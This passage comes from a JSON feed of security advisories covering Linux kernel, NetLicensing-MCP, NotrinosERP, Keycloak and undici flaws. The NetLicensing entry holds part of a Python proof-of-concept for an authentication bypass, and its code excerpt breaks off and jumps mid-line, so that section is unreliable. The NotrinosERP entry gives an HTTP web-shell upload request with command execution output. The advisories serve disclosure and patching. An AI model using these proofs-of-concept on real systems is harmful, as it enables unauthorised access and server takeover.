for\nconsistency.\n\nThis patch also adapts the event notification path to deal with the list\nof hook transactions.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: add hook transactions for device deletions\n\nRestore the flag that indicates that the hook is going away, ie.\nNFT_HOOK_REMOVE, but add a new transaction object to track deletion\nof hooks without altering the basechain/flowtable hook_list during\nthe preparation phase.\n\nThe existing approach that moves the hook from the basechain/flowtable\nhook_list to transaction hook_list breaks netlink dump path readers\nof this RCU-protected list.\n\nIt should be possible use an array for nft_trans_hook to store the\ndeleted hooks to compact the representation but I am not expecting\nmany hook object, specially now that wildcard support for devices\nis in place.\n\nNote that the nft_trans_chain_hooks() list contains a list of struct\nnft_trans_hook objects for DELCHAIN and DELFLOWTABLE commands, while\nthis list stores struct nft_hook objects for NEWCHAIN and NEWFLOWTABLE.\nNote that new commands can be updated to use nft_trans_hook for\nconsistency.\n\nThis patch also adapts the event notification path to deal with the list\nof hook transactions.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-07-19T15:16:52.643Z","updatedAt":"2026-10-26T16:27:27.510Z","regions":["Global"],"vendor":"linux","product":"linux kernel","stacks":["Linux kernel","linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63858","asOf":"2026-10-26T16:27:27.510Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63858","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63858","type":"primary","publishedAt":"2026-07-19T15:16:52.643Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:50:56.936Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-54446","cveId":"CVE-2026-54446","aliases":["GHSA-x9vc-9ffq-p3gj"],"kind":"vulnerability","title":"NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode","summary":"When `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`). The downstream HTTP client then falls back to the server operator's `NETLICENSING_API_KEY` environment variable (`client.py:30`) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: **8.1 (High)**.\n\nThe HTTP transport is started in `src/netlicensing_mcp/server.py` around line 1430 via `mcp.streamable_http_app()`, and `ApiKeyMiddleware` is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls `return await call_next(request)` (line 1427), passing the unauthenticated request downstream.","detail":"## Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode\n\n### Summary\n\nWhen `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`). The downstream HTTP client then falls back to the server operator's `NETLICENSING_API_KEY` environment variable (`client.py:30`) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: **8.1 (High)**.\n\n### Details\n\nThe HTTP transport is started in `src/netlicensing_mcp/server.py` around line 1430 via `mcp.streamable_http_app()`, and `ApiKeyMiddleware` is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls `return await call_next(request)` (line 1427), passing the unauthenticated request downstream.\n\nThe downstream client module (`src/netlicensing_mcp/client.py`) uses a Python `ContextVar` named `api_key_ctx` with a default of `os.getenv(\"NETLICENSING_API_KEY\", \"\")` (line 30). Because the middleware never sets this context variable for unauthenticated requests, `api_key_ctx.get()` returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (`lines 62–70`) and transmits it to the upstream NetLicensing REST API on every request (`lines 105, 109`).\n\nThe complete exploitable data flow is:\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `server.py:1430` | HTTP app created with `mcp.streamable_http_app()` |\n| 2 | `server.py:1431` | `ApiKeyMiddleware` registered |\n| 3 | `server.py:1412–1419` | Middleware attempts (optional) key extraction from headers/query |\n| 4 | `server.py:1427` | **Auth bypass sink**: missing key → `return await call_next(request)` |\n| 5 | `server.py:155–163` | Unauthenticated caller invokes `netlicensing_list_products` (or any tool) |\n| 6 | `tools/products.py:9,17` | Tool delegates to `nl_get(\"/product\", ...)` |\n| 7 | `client.py:30` | **Source**: `api_key_ctx` defaults to `NETLICENSING_API_KEY` env var |\n| 8 | `client.py:62–70` | `Authorization: Basic base64(\"apiKey: \")` constructed |\n| 9 | `client.py:105,109` | **Upstream sink**: `client.get(url, headers=_headers(), ...)` executed |\n\nCritical code excerpts:\n\n```python\n# src/netlicensing_mcp/server.py\n1418: if not key:\n1419: key = request.query_params.get(\"apikey\")\n1421: if key:\n1422: token = api_key_ctx.set(key)\n ...\n1427: return await call_next(request) # \")\n entry = {\n \"method\": self.command,\n \"path\": self.path,\n \"authorization\": auth,\n }\n captured_requests.append(entry)\n print(\n f\"[MOCK_UPSTREAM] {self.command} {self.path} \"\n f\"Authorization={auth}\",\n flush=True,\n )\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(json.dumps({\"items\": {\"item\": []}}).encode())\n\n do_GET = _handle\n do_POST = _handle\n do_PUT = _handle\n\n def log_message(self, *args):\n pass\n\ndef _run_mock(port: int) -> None:\n srv = HTTPServer((\"127.0.0.1\", port), MockUpstreamHandler)\n mock_ready.set()\n srv.serve_forever()\n\n# ─── Helpers ─────────────────────────────────────────────────────────────────\n\ndef _decode_basic(header: str) -> str | None:\n if not header.startswith(\"Basic \"):\n return None\n try:\n return base64.b64decode(header[6:]).decode()\n except Exception:\n return None\n\nasync def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -> bool:\n \"\"\"Poll until the MCP /health endpoint responds or timeout.\"\"\"\n import httpx\n deadline = time.monotonic() + timeout\n while time.monotonic() None:\n # 1. Start mock upstream\n t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)\n t.start()\n mock_ready.wait(timeout=5)\n print(f\"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}\", flush=True)\n\n # 2. Launch vulnerable MCP server in HTTP mode with server-side API key\n env = os.environ.copy()\n env.update({\n \"NETLICENSING_API_KEY\": SERVER_API_KEY,\n \"NETLICENSING_BASE_URL\": f\"http://127.0.0.1:{MOCK_PORT}/core/v2/rest\",\n \"MCP_HOST\": \"127.0.0.1\",\n \"MCP_PORT\": str(MCP_PORT),\n })\n proc = subprocess.Popen(\n [sys.executable, \"-m\", \"netlicensing_mcp.server\", \"http\"],\n env=env,\n cwd=\"/app/repo\",\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n print(f\"[*] Vulnerable MCP server started (pid={proc.pid})\", flush=True)\n\n ready = await _wait_for_mcp(\"127.0.0.1\", MCP_PORT, timeout=15)\n if not ready:\n # /health may not exist; just wait a fixed time\n print(\"[*] /health not responding — waiting 5 s anyway ...\", flush=True)\n await asyncio.sleep(5)\n\n if proc.poll() is not None:\n _, err = proc.communicate()\n print(f\"[!] MCP server exited unexpectedly:\\n{err.decode()}\", flush=True)\n sys.exit(1)\n\n print(f\"[*] MCP server ready on 127.0.0.1:{MCP_PORT}\", flush=True)\n\n # 3. Attack: connect WITHOUT any API key and invoke a tool\n print(\n \"\\n[ATTACK] Sending MCP tool call to netlicensing_list_products \"\n \"with NO client API key ...\",\n flush=True,\n )\n try:\n from mcp import ClientSession\n from mcp.client.streamable_http import streamablehttp_client\n\n async with streamablehttp_client(\n f\"http://127.0.0.1:{MCP_PORT}/mcp\"\n ) as (read, write, _):\n async with ClientSession(read, write) as session:\n await session.initialize()\n result = await session.call_tool(\n \"netlicensing_list_products\", {\"filter\": \"\"}\n )\n print(f\"[*] Tool call succeeded: {result}\", flush=True)\n except Exception as exc:\n print(f\"[*] MCP client exception (may be normal upstream error): {exc}\", flush=True)\n finally:\n proc.terminate()\n \n\nAffected package ranges reported by GitHub:\nnetlicensing-mcp: <= 0.1.5","action":"GitHub lists first patched versions: netlicensing-mcp: 0.1.6. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-07-14T20:47:19.000Z","updatedAt":"2026-10-22T08:27:46.000Z","regions":["Global"],"vendor":null,"product":"netlicensing-mcp","stacks":["Python packages (PyPI)","netlicensing-mcp","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://github.com/advisories/GHSA-x9vc-9ffq-p3gj","asOf":"2026-10-22T08:27:46.000Z"},"epss":{"probability":0.00619,"percentile":0.49357,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-54446&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-x9vc-9ffq-p3gj","url":"https://github.com/advisories/GHSA-x9vc-9ffq-p3gj","type":"primary","publishedAt":"2026-07-14T20:47:19.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-54446&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-54446, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-qv4m-m73m-8hj7","cveId":null,"aliases":[],"kind":"vulnerability","title":"NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee \"Documents\" (doc_file)","summary":"```php\n// hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)\n$upload_dir = company_path().'/documents/employees';\nif (!file_exists($upload_dir))\n mkdir($upload_dir, 0777, true);\n$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];\nif (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }\n```\n\nThere is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.","detail":"#### Summary\nAn authenticated user with the HR \"Manage Employees\" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server.\n\n#### Details\nThe document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim:\n\n```php\n// hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)\n$upload_dir = company_path().'/documents/employees';\nif (!file_exists($upload_dir))\n mkdir($upload_dir, 0777, true);\n$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];\nif (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }\n```\n\nThere is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.\n\nReachability of the written file:\n- `company_path()` resolves under the web root; `config.default.php` sets\n `$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`.\n- The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log`\n only — it does **not** block `.php` and does **not** cover `company/`.\n- The stored path is then echoed **unescaped** into a clickable \"View\" link\n (`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`),\n handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).\n\nA crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`.\n\n#### Proof of Concept\nThe upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the\nhidden `_token`, then submit. Against your **own** local instance:\n\n```http\nPOST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1\nHost: \nCookie: \nContent-Type: multipart/form-data; boundary=b\n\n--b\nContent-Disposition: form-data; name=\"_token\"\n\n--b\nContent-Disposition: form-data; name=\"doc_type_id\"\n\n--b\nContent-Disposition: form-data; name=\"doc_name\"\n\nx\n--b\nContent-Disposition: form-data; name=\"doc_file\"; filename=\"shell.php\"\nContent-Type: application/x-php\n\n--b\nContent-Disposition: form-data; name=\"save_document\"\n\nSave Document\n--b--\n```\n\nThen request the stored file (its exact path is shown in the Documents tab's \"View\" link):\n\n```http\nGET /company/0/documents/employees/1_ _shell.php?c=id HTTP/1.1\n```\n\nThe command in `c` executes on the server.\n\n#### Validation (performed locally, no network)\nThe code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_ _shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:\n\n```\n$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'\nuid=501(...) gid=20(staff) ...\n$ curl '.../ .php?c=uname%20-sm;whoami'\nDarwin arm64\n \n```\n\nCaveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file.\n\n#### Impact\nRemote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privileges-required as High (CVSS ≈ 7.2).\n\n#### Suggested fix\n- Never use the client filename on disk. Store with a server-generated name and **no executable\n extension** (mirror `includes/ui/attachment.inc`'s `uniqid()` approach); keep the original name\n only as a DB label.\n- Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic`\n branch already does.\n- Store uploads outside the web root, or drop an `.htaccess`/`web.config` in\n `company/*/documents/` that disables script execution (`php_admin_flag engine off`,\n `RemoveHandler .php`, `SetHandler none`).\n- `htmlspecialchars()` the stored path before emitting the \"View\" link (fixes the secondary XSS).\n\n#### Resources / credit\n- Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`.\n- Reported by: **<Kasper Hong / Kasper Builds>**.\n\nAffected package ranges reported by GitHub:\nnotrinos/notrinos-erp: <= 1.0.0","action":"Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.","publishedAt":"2026-07-10T19:34:03.000Z","updatedAt":"2026-10-25T15:02:57.000Z","regions":["Global"],"vendor":null,"product":"notrinos/notrinos-erp","stacks":["PHP packages (Composer)","notrinos/notrinos-erp","composer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://github.com/advisories/GHSA-qv4m-m73m-8hj7","asOf":"2026-10-25T15:02:57.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-qv4m-m73m-8hj7","url":"https://github.com/advisories/GHSA-qv4m-m73m-8hj7","type":"primary","publishedAt":"2026-07-10T19:34:03.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-qv4m-m73m-8hj7, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-2092","cveId":"CVE-2026-2092","aliases":["GHSA-794g-x443-36f7"],"kind":"vulnerability","title":"Keycloak: Unauthorized access via improper validation of encrypted SAML assertions","summary":"Keycloak's SAML broker endpoint does not properly validate encrypted assertions when the overall SAML response is not signed. An attacker with a valid signed SAML assertion can exploit this by crafting a malicious SAML response, injecting an encrypted assertion for an arbitrary principal, leading to unauthorized access and potential information disclosure.","detail":"Keycloak's SAML broker endpoint does not properly validate encrypted assertions when the overall SAML response is not signed. An attacker with a valid signed SAML assertion can exploit this by crafting a malicious SAML response, injecting an encrypted assertion for an arbitrary principal, leading to unauthorized access and potential information disclosure.\n\nAffected package ranges reported by GitHub:\norg.keycloak:keycloak-services: <= 26.2.5\norg.keycloak:keycloak-services: >= 26.3.0, <= 26.4.7\norg.keycloak:keycloak-services: >= 26.5.0, < 26.5.5","action":"GitHub lists first patched versions: org.keycloak:keycloak-services: 26.5.5. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-07-02T20:42:23.000Z","updatedAt":"2026-10-26T14:50:06.000Z","regions":["Global"],"vendor":null,"product":"org.keycloak:keycloak-services, org.keycloak:keycloak-services, org.keycloak:keycloak-services","stacks":["Java packages (Maven)","org.keycloak:keycloak-services","maven"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L","sourceUrl":"https://github.com/advisories/GHSA-794g-x443-36f7","asOf":"2026-10-26T14:50:06.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-794g-x443-36f7","url":"https://github.com/advisories/GHSA-794g-x443-36f7","type":"primary","publishedAt":"2026-07-02T20:42:23.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-794g-x443-36f7, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9675","cveId":"CVE-2026-9675","aliases":["GHSA-38rv-x7px-6hhq"],"kind":"vulnerability","title":"undici WebSocket client vulnerable to denial of service via cumulative fragment bypass","summary":"The undici WebSocket client enforces `maxPayloadSize` per-frame but does not enforce the cumulative size of fragmented uncompressed messages. A malicious WebSocket server can stream many small fragments that each pass per-frame validation but collectively exceed the configured limit, causing unbounded memory growth in the client process. The result is memory exhaustion and a denial of service.\n\nAffected applications are those using the undici WebSocket client (`new WebSocket(...)`) that can be induced to connect to an attacker-controlled or compromised WebSocket endpoint.","detail":"## Impact\n\nThe undici WebSocket client enforces `maxPayloadSize` per-frame but does not enforce the cumulative size of fragmented uncompressed messages. A malicious WebSocket server can stream many small fragments that each pass per-frame validation but collectively exceed the configured limit, causing unbounded memory growth in the client process. The result is memory exhaustion and a denial of service.\n\nAffected applications are those using the undici WebSocket client (`new WebSocket(...)`) that can be induced to connect to an attacker-controlled or compromised WebSocket endpoint.\n\nThis is a regression specific to undici 8.1.0. The 6.25.0 line shipped the equivalent cumulative check from the start and is unaffected. The 7.x line never had the `maxPayloadSize` feature and is also unaffected.\n\n## Patches\n\nUpgrade to undici >= 8.5.0.\n\n## Workarounds\n\nNo workaround is available. The fix must be applied through an upgrade.\n\nAffected package ranges reported by GitHub:\nundici: >= 8.0.0, < 8.5.0","action":"GitHub lists first patched versions: undici: 8.5.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-06-18T14:28:10.000Z","updatedAt":"2026-10-22T05:07:56.000Z","regions":["Global"],"vendor":null,"product":"undici","stacks":["JavaScript packages (npm)","undici","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-38rv-x7px-6hhq","asOf":"2026-10-22T05:07:56.000Z"},"epss":{"probability":0.00426,"percentile":0.36596,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-9675&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-38rv-x7px-6hhq","url":"https://github.com/advisories/GHSA-38rv-x7px-6hhq","type":"primary","publishedAt":"2026-06-18T14:28:10.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-38rv-x7px-6hhq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-38rv-x7px-6hhq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-38rv-x7px-6hhq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-38rv-x7px-6hhq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-38rv-x7px-6hhq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page 